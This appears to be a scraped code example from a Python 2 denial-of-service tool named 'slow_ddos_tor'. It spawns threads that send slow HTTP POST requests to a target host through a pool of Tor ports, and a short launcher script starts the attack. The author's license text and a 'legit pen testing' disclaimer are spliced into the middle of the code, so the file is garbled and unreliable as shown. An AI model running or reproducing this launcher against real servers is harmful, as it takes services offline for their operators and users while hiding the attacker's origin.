Exemple #1
0
def kickOff(host="", port="", uri="", plist=[]) :
    setHhdr = False
    threads = slow_ddos_tor_vars.getThreads()
    sleepTime = slow_ddos_tor_vars.getSleepTime()
    
    host = host or slow_ddos_tor_vars.getHost()
    port = port or slow_ddos_tor_vars.getPort()
    uri = uri or slow_ddos_tor_vars.getUri()
        
    hhdr = slow_ddos_tor_vars.getHostHeader()
    if hhdr:
        setHhdr = True

    tpool = []
    try:
        for i in range(1, threads):
            t = httpPost(host, port, uri, sleepTime)
            t.setTorPortList(plist=plist)
            if setHhdr:
                t.setHostHeader(val=hhdr)
            tpool.append(t)
            t.start()
        while True:
            sleep(choice(range(1,10)))

    except KeyboardInterrupt, e:
        print "\nKeyboard Interruption ... stopping all threads"
        for h in tpool:
            h.stop()
        for h in tpool:
            h.join()
    
    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
    DEALINGS IN THE SOFTWARE.
    
    If you use this for criminal purposes and get caught you are on
    your own and I am not liable. I wrote this for legit pen testing
    purposes.
    
    Be kewl and give credit where it is due if you use this. Also,
    send me feedback as I don't have the bandwidth to test for every
    condition.   
"""
from libs import slow_ddos_tor, SocketController
from vars import slow_ddos_tor_vars

sc = SocketController.SocketController()
sc.spawnSockets()

slow_ddos_tor.kickOff(
    host=slow_ddos_tor_vars.getHost(),
    port=slow_ddos_tor_vars.getPort(),
    uri=slow_ddos_tor_vars.getUri(),
    plist=sc.getPortList(),
)